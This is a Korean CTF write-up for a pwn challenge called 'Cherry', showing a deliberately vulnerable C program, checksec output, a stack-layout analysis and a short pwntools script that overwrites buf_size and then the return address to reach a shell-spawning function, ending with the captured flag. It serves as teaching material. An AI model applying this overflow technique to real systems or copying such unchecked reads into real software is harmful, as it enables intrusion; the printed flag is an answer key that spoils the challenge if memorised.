Cherry write up

zzsla·2026년 9월 26일

문제 정보

주어진 바이너리와 소스 코드를 분석하여 익스플로잇하고 플래그를 획득하세요! 플래그는 flag.txt 파일에 있습니다.

플래그의 형식은 DH{...} 입니다.

문제

프로그램을 실행시키면 Menu:가 나오고 값을 입력하면 종료된다.

문제코드는 이렇게 있다

분석

$ checksec chall
[*] '/root/pwn/678c0f29-2cf8-41d8-8d66-a2c17d4c3f9a/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

일단 문제 환경 설정을 보면 64bit 리틀엔디언이고, 보호기법으로는 canary와 PIE는 없고, NX와 Partial RELRO가 있는 것을 알 수 있다.
이번에는 chall.c를 분석해 본다.

// Name: chall.c
// Compile: gcc -fno-stack-protector -no-pie chall.c -o chall

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void flag() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}

int main(int argc, char *argv[]) {
    int stdin_fd = 0;
    int stdout_fd = 1;
    char fruit[0x6] = "cherry";
    int buf_size = 0x10;
    char buf[0x6];

    initialize();

    write(stdout_fd, "Menu: ", 6);
    read(stdin_fd, buf, buf_size);
    if(!strncmp(buf, "cherry", 6)) {
        write(stdout_fd, "Is it cherry?: ", 15);
        read(stdin_fd, fruit, buf_size);
    }

    return 0;
}

flag함수는 /bin/sh를 실행시키는 함수이다

main함수에 int형으로 stdin_fd,stdout_fd, cherry라는 문자열이 들어있는 6byte 크기의 fruit,0x10이 들어 있는buf_size,6byte 크기의buf 라는 변수들이 있다.
Menu: 라는 문자열이 출력 후 buf에 buf_size 크기만큼 입력을 받는다.
그리고 buf에 cherry가 들어있으면 Is it cherry?: 라는 문자열을 출력 후 fruit에 buf_size만큼 길이를 받는다.

취약점

환경에서 canary와 PIE(Position-Independent Executable)가 없고, 코드 내에 shell을 실행시키는 함수인 flag가 존재하며, buf가 buf_size의 크기보다 작은 것으로 보아 Return Address Overwirte 취약점이 발생할 것으로 보인다.

일단 buf_size가 buf의 크기보다 크기 때문에 stack buffer Overflow가 발생한다.
buf를 넘어 무슨 값들을 변화시킬 수 있는지는 gdb를 이용해서 확인을 한다.

AAAAAA 입력 후 확인해 보면 그 다음 cherry인 fruit가 오고 그 다음 buf 크기 10인 buf_size 후 stdout_fd, stdin_fd순으로 온다.
그리고 8byte 후에 return address가 있다.
Menu: 에서 cherry 입력 후 Is it cherry?: 에서 값을 입력할 때도 buf_size가 buf의 크기보다 크기 때문에 stack buffer Overflow가 발생한다.
하지만 return address까지 값을 변경시키기엔 buf_size가 작기 때문에 첫 입력 시에 buf_size 값도 변경시킨다.
flag함수의 주소는 PIE가 없어서 주소가 고정되기 때문에 실행파일에서 확인 후 넣으면 된다.

익스플로잇

첫번째 입력에는 cherry 문자열과 비교하기 때문에 cherry 그리고 fruit은 아무 값을 넣고 buf_size 부분은 넉넉하게 0x30 으로 넣는다
두번째 입력 시작은 fruit 부분이기 때문에 6byte를 아무값을 넣어주고 그 다음 각각buf_size, stdout_fd, stdin_fd 4byte씩 그리고 8byte에 아무값들을 넣은 뒤에 return address 부분에 flag 함수 시작 주소인 0x4012bc를 넣어준다.

최종 익스플로잇

from pwn import *

p = remote()

p.send(b'cherry' + b'A'*6 + p8(0x30))
p.send(b'A'*26 + p64(0x4012bc))

p.interactive()

문제 shell에 접근한 뒤에 flag를 획득할 수 있다.

DH{0d88cd8c8c1123b99fb478e60ff081cea9bfecc925d72609ab061b8279c83709}

profile
[README]newbi security hacker :p

0개의 댓글